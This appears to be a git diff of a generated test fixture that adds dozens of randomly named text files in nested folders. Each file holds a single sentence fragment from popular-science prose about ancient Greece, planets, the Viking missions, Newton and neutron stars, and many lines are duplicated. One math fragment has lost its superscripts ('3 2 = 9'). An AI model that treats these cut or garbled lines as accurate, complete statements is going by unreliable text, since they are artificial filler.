+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/folder_iufhjwniei/file_xoubpaqqmupdfaqmqiwst.txt
@@ -0,0 +1 @@
+glory, but also the man whose actions led to the Peloponnesian War, which destroyed
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/folder_iufhjwniei/file_xxfilgglbwndegdeuhzaak.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/folder_iufhjwniei/file_xxfilgglbwndegdeuhzaak.txt
new file mode 100644
index 0000000..63330f6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/folder_iufhjwniei/file_xxfilgglbwndegdeuhzaak.txt
@@ -0,0 +1 @@
+glory, but also the man whose actions led to the Peloponnesian War, which destroyed
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/folder_iufhjwniei/file_zdpkgwlzg.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/folder_iufhjwniei/file_zdpkgwlzg.txt
new file mode 100644
index 0000000..63330f6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/folder_iufhjwniei/file_zdpkgwlzg.txt
@@ -0,0 +1 @@
+glory, but also the man whose actions led to the Peloponnesian War, which destroyed
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/folder_iufhjwniei/ftxeqltyflqrkisnjxohw.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/folder_iufhjwniei/ftxeqltyflqrkisnjxohw.txt
new file mode 100644
index 0000000..8dc4eb4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/folder_iufhjwniei/ftxeqltyflqrkisnjxohw.txt
@@ -0,0 +1 @@
+middle of the twenty-first century, skimming through the ocean of space, never to enter
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/folder_iufhjwniei/gqaenoaxtsndrcqhm.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/folder_iufhjwniei/gqaenoaxtsndrcqhm.txt
new file mode 100644
index 0000000..d5f9cd2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/folder_iufhjwniei/gqaenoaxtsndrcqhm.txt
@@ -0,0 +1 @@
+continuous haze of small particles. At 60 kilometers, we plunge into the clouds, and find
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/folder_iufhjwniei/gttqhjuqfemtvjpmkxnam.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/folder_iufhjwniei/gttqhjuqfemtvjpmkxnam.txt
new file mode 100644
index 0000000..e12a77d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/folder_iufhjwniei/gttqhjuqfemtvjpmkxnam.txt
@@ -0,0 +1 @@
+up.’ That is a good answer, too.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/folder_iufhjwniei/neqwikpwumcmlgjvvq.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/folder_iufhjwniei/neqwikpwumcmlgjvvq.txt
new file mode 100644
index 0000000..afbb67e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/folder_iufhjwniei/neqwikpwumcmlgjvvq.txt
@@ -0,0 +1 @@
+Receding, it is described as far away,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/folder_iufhjwniei/odvxgdbvjovyre.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/folder_iufhjwniei/odvxgdbvjovyre.txt
new file mode 100644
index 0000000..a9ceb3a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/folder_iufhjwniei/odvxgdbvjovyre.txt
@@ -0,0 +1 @@
+Very little is known about the personal life of Thales, but one revealing anecdote is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/folder_iufhjwniei/oyobjgxzybvdobkxshizitai.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/folder_iufhjwniei/oyobjgxzybvdobkxshizitai.txt
new file mode 100644
index 0000000..3b66952
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/folder_iufhjwniei/oyobjgxzybvdobkxshizitai.txt
@@ -0,0 +1 @@
+Each star system is an island in space, quarantined from its neighbors by the light-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/folder_iufhjwniei/prjkrgbpcwbkf.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/folder_iufhjwniei/prjkrgbpcwbkf.txt
new file mode 100644
index 0000000..ddf53fe
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/folder_iufhjwniei/prjkrgbpcwbkf.txt
@@ -0,0 +1 @@
+(Incantation against toothache.)
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/folder_iufhjwniei/rtjgmhwdbhg.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/folder_iufhjwniei/rtjgmhwdbhg.txt
new file mode 100644
index 0000000..3c198b4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/folder_iufhjwniei/rtjgmhwdbhg.txt
@@ -0,0 +1 @@
+described in history or philosophy books as ‘Presocratics’, as if their main function was to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/folder_iufhjwniei/wkrwweuysdgpxx.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/folder_iufhjwniei/wkrwweuysdgpxx.txt
new file mode 100644
index 0000000..905d83a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/folder_iufhjwniei/wkrwweuysdgpxx.txt
@@ -0,0 +1 @@
+as we can see) at a few g’s, as it does at 0 g. At 1000 g’s, the beam is still straight, but trees
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/file_aamjwltmo.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/file_aamjwltmo.txt
new file mode 100644
index 0000000..da9be22
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/file_aamjwltmo.txt
@@ -0,0 +1 @@
+inadequate. Enormous efforts were made to build the Viking microbiology experiments and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/file_axvspnwadkycylfxmgowfxq.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/file_axvspnwadkycylfxmgowfxq.txt
new file mode 100644
index 0000000..da9be22
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/file_axvspnwadkycylfxmgowfxq.txt
@@ -0,0 +1 @@
+inadequate. Enormous efforts were made to build the Viking microbiology experiments and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/file_ddjncbzxrzpoenchv.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/file_ddjncbzxrzpoenchv.txt
new file mode 100644
index 0000000..da9be22
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/file_ddjncbzxrzpoenchv.txt
@@ -0,0 +1 @@
+inadequate. Enormous efforts were made to build the Viking microbiology experiments and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/file_gnzgusvxcdk.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/file_gnzgusvxcdk.txt
new file mode 100644
index 0000000..da9be22
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/file_gnzgusvxcdk.txt
@@ -0,0 +1 @@
+inadequate. Enormous efforts were made to build the Viking microbiology experiments and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/file_iyjftwhesdwjbtl.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/file_iyjftwhesdwjbtl.txt
new file mode 100644
index 0000000..da9be22
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/file_iyjftwhesdwjbtl.txt
@@ -0,0 +1 @@
+inadequate. Enormous efforts were made to build the Viking microbiology experiments and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/file_jzfcwfflghugltgq.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/file_jzfcwfflghugltgq.txt
new file mode 100644
index 0000000..da9be22
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/file_jzfcwfflghugltgq.txt
@@ -0,0 +1 @@
+inadequate. Enormous efforts were made to build the Viking microbiology experiments and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/file_oxreqelzm.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/file_oxreqelzm.txt
new file mode 100644
index 0000000..da9be22
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/file_oxreqelzm.txt
@@ -0,0 +1 @@
+inadequate. Enormous efforts were made to build the Viking microbiology experiments and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/file_ozxfqbaycdpledubdfrx.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/file_ozxfqbaycdpledubdfrx.txt
new file mode 100644
index 0000000..da9be22
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/file_ozxfqbaycdpledubdfrx.txt
@@ -0,0 +1 @@
+inadequate. Enormous efforts were made to build the Viking microbiology experiments and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/file_sojoebqkdlwxsufcshsqupsw.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/file_sojoebqkdlwxsufcshsqupsw.txt
new file mode 100644
index 0000000..da9be22
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/file_sojoebqkdlwxsufcshsqupsw.txt
@@ -0,0 +1 @@
+inadequate. Enormous efforts were made to build the Viking microbiology experiments and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/file_tgelgudsncqidijmcrczxgab.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/file_tgelgudsncqidijmcrczxgab.txt
new file mode 100644
index 0000000..da9be22
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/file_tgelgudsncqidijmcrczxgab.txt
@@ -0,0 +1 @@
+inadequate. Enormous efforts were made to build the Viking microbiology experiments and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/file_ubwxkhpwojfpfooyimnc.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/file_ubwxkhpwojfpfooyimnc.txt
new file mode 100644
index 0000000..da9be22
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/file_ubwxkhpwojfpfooyimnc.txt
@@ -0,0 +1 @@
+inadequate. Enormous efforts were made to build the Viking microbiology experiments and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/file_avmojonwyfzvngtrdreze.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/file_avmojonwyfzvngtrdreze.txt
new file mode 100644
index 0000000..a788ca9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/file_avmojonwyfzvngtrdreze.txt
@@ -0,0 +1 @@
+with undisguised pride in the Principia, ‘I now demonstrate the frame of the System of the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/file_cduwrwsahmzvweyxndtzwiv.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/file_cduwrwsahmzvweyxndtzwiv.txt
new file mode 100644
index 0000000..a788ca9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/file_cduwrwsahmzvweyxndtzwiv.txt
@@ -0,0 +1 @@
+with undisguised pride in the Principia, ‘I now demonstrate the frame of the System of the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/file_fndnjnfqsfmtfq.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/file_fndnjnfqsfmtfq.txt
new file mode 100644
index 0000000..a788ca9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/file_fndnjnfqsfmtfq.txt
@@ -0,0 +1 @@
+with undisguised pride in the Principia, ‘I now demonstrate the frame of the System of the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/file_lynzjvdhwsimgpcmyvfjsr.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/file_lynzjvdhwsimgpcmyvfjsr.txt
new file mode 100644
index 0000000..a788ca9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/file_lynzjvdhwsimgpcmyvfjsr.txt
@@ -0,0 +1 @@
+with undisguised pride in the Principia, ‘I now demonstrate the frame of the System of the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/file_mgbzgadycriewgj.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/file_mgbzgadycriewgj.txt
new file mode 100644
index 0000000..a788ca9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/file_mgbzgadycriewgj.txt
@@ -0,0 +1 @@
+with undisguised pride in the Principia, ‘I now demonstrate the frame of the System of the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/file_rayqyzxyrfixnayfnh.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/file_rayqyzxyrfixnayfnh.txt
new file mode 100644
index 0000000..a788ca9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/file_rayqyzxyrfixnayfnh.txt
@@ -0,0 +1 @@
+with undisguised pride in the Principia, ‘I now demonstrate the frame of the System of the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/file_tgrocyapcqcebaobmyxujaqv.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/file_tgrocyapcqcebaobmyxujaqv.txt
new file mode 100644
index 0000000..a788ca9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/file_tgrocyapcqcebaobmyxujaqv.txt
@@ -0,0 +1 @@
+with undisguised pride in the Principia, ‘I now demonstrate the frame of the System of the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/file_vxasyosxcatwak.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/file_vxasyosxcatwak.txt
new file mode 100644
index 0000000..a788ca9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/file_vxasyosxcatwak.txt
@@ -0,0 +1 @@
+with undisguised pride in the Principia, ‘I now demonstrate the frame of the System of the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/file_xrmrucqv.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/file_xrmrucqv.txt
new file mode 100644
index 0000000..a788ca9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/file_xrmrucqv.txt
@@ -0,0 +1 @@
+with undisguised pride in the Principia, ‘I now demonstrate the frame of the System of the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/file_xtxndifpepweku.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/file_xtxndifpepweku.txt
new file mode 100644
index 0000000..a788ca9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/file_xtxndifpepweku.txt
@@ -0,0 +1 @@
+with undisguised pride in the Principia, ‘I now demonstrate the frame of the System of the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/file_xwyscqchhthkbyo.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/file_xwyscqchhthkbyo.txt
new file mode 100644
index 0000000..a788ca9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/file_xwyscqchhthkbyo.txt
@@ -0,0 +1 @@
+with undisguised pride in the Principia, ‘I now demonstrate the frame of the System of the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/file_fpyeroxutfwtvapzpm.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/file_fpyeroxutfwtvapzpm.txt
new file mode 100644
index 0000000..2a9457a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/file_fpyeroxutfwtvapzpm.txt
@@ -0,0 +1 @@
+pressure of the neutrons staves off gravity. But for an elderly star left after supernova
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/file_gdqqiyzucrsejhyzuzadqd.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/file_gdqqiyzucrsejhyzuzadqd.txt
new file mode 100644
index 0000000..2a9457a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/file_gdqqiyzucrsejhyzuzadqd.txt
@@ -0,0 +1 @@
+pressure of the neutrons staves off gravity. But for an elderly star left after supernova
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/file_gjourrluzri.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/file_gjourrluzri.txt
new file mode 100644
index 0000000..2a9457a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/file_gjourrluzri.txt
@@ -0,0 +1 @@
+pressure of the neutrons staves off gravity. But for an elderly star left after supernova
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/file_hpeuobcmtuuswjwxzsjofi.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/file_hpeuobcmtuuswjwxzsjofi.txt
new file mode 100644
index 0000000..2a9457a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/file_hpeuobcmtuuswjwxzsjofi.txt
@@ -0,0 +1 @@
+pressure of the neutrons staves off gravity. But for an elderly star left after supernova
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/file_hufsvmpaisrfukvatonqiqm.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/file_hufsvmpaisrfukvatonqiqm.txt
new file mode 100644
index 0000000..2a9457a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/file_hufsvmpaisrfukvatonqiqm.txt
@@ -0,0 +1 @@
+pressure of the neutrons staves off gravity. But for an elderly star left after supernova
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/file_ibcbbqpdny.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/file_ibcbbqpdny.txt
new file mode 100644
index 0000000..2a9457a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/file_ibcbbqpdny.txt
@@ -0,0 +1 @@
+pressure of the neutrons staves off gravity. But for an elderly star left after supernova
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/file_jupxmoarjwydhhk.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/file_jupxmoarjwydhhk.txt
new file mode 100644
index 0000000..2a9457a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/file_jupxmoarjwydhhk.txt
@@ -0,0 +1 @@
+pressure of the neutrons staves off gravity. But for an elderly star left after supernova
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/file_ljnbyzkizsdcx.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/file_ljnbyzkizsdcx.txt
new file mode 100644
index 0000000..2a9457a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/file_ljnbyzkizsdcx.txt
@@ -0,0 +1 @@
+pressure of the neutrons staves off gravity. But for an elderly star left after supernova
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/file_nfykboldqsehdlnk.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/file_nfykboldqsehdlnk.txt
new file mode 100644
index 0000000..2a9457a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/file_nfykboldqsehdlnk.txt
@@ -0,0 +1 @@
+pressure of the neutrons staves off gravity. But for an elderly star left after supernova
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/file_pacpxmsjokcszxdqkd.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/file_pacpxmsjokcszxdqkd.txt
new file mode 100644
index 0000000..2a9457a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/file_pacpxmsjokcszxdqkd.txt
@@ -0,0 +1 @@
+pressure of the neutrons staves off gravity. But for an elderly star left after supernova
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/file_poxbpcloezq.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/file_poxbpcloezq.txt
new file mode 100644
index 0000000..2a9457a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/file_poxbpcloezq.txt
@@ -0,0 +1 @@
+pressure of the neutrons staves off gravity. But for an elderly star left after supernova
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/file_prmxbgsujeglkoqxr.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/file_prmxbgsujeglkoqxr.txt
new file mode 100644
index 0000000..2a9457a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/file_prmxbgsujeglkoqxr.txt
@@ -0,0 +1 @@
+pressure of the neutrons staves off gravity. But for an elderly star left after supernova
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/file_ptejkaljklenjwrgkpqty.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/file_ptejkaljklenjwrgkpqty.txt
new file mode 100644
index 0000000..2a9457a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/file_ptejkaljklenjwrgkpqty.txt
@@ -0,0 +1 @@
+pressure of the neutrons staves off gravity. But for an elderly star left after supernova
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/file_qjcgkdptlfvxjcbuiwbro.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/file_qjcgkdptlfvxjcbuiwbro.txt
new file mode 100644
index 0000000..2a9457a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/file_qjcgkdptlfvxjcbuiwbro.txt
@@ -0,0 +1 @@
+pressure of the neutrons staves off gravity. But for an elderly star left after supernova
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/file_roenuinxgzohlmdridtm.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/file_roenuinxgzohlmdridtm.txt
new file mode 100644
index 0000000..2a9457a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/file_roenuinxgzohlmdridtm.txt
@@ -0,0 +1 @@
+pressure of the neutrons staves off gravity. But for an elderly star left after supernova
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/file_rprufyvcbvewqzkafozfvi.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/file_rprufyvcbvewqzkafozfvi.txt
new file mode 100644
index 0000000..2a9457a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/file_rprufyvcbvewqzkafozfvi.txt
@@ -0,0 +1 @@
+pressure of the neutrons staves off gravity. But for an elderly star left after supernova
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/file_tmorroucwzf.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/file_tmorroucwzf.txt
new file mode 100644
index 0000000..2a9457a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/file_tmorroucwzf.txt
@@ -0,0 +1 @@
+pressure of the neutrons staves off gravity. But for an elderly star left after supernova
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/file_vehljhvixgo.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/file_vehljhvixgo.txt
new file mode 100644
index 0000000..2a9457a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/file_vehljhvixgo.txt
@@ -0,0 +1 @@
+pressure of the neutrons staves off gravity. But for an elderly star left after supernova
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/crulvejtqsczbpbglxacm.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/crulvejtqsczbpbglxacm.txt
new file mode 100644
index 0000000..389c384
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/crulvejtqsczbpbglxacm.txt
@@ -0,0 +1 @@
+to some scientists that all the water on the planet had combined with hydrocarbons to form
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/dpsvjkfvool.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/dpsvjkfvool.txt
new file mode 100644
index 0000000..1a6a0b8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/dpsvjkfvool.txt
@@ -0,0 +1 @@
+any odd number is odd (1 2 = 1, 3 2 = 9, 5 2 = 25, 7 2 = 49, etc.). So p itself must be even, and
\ No newline at end of file
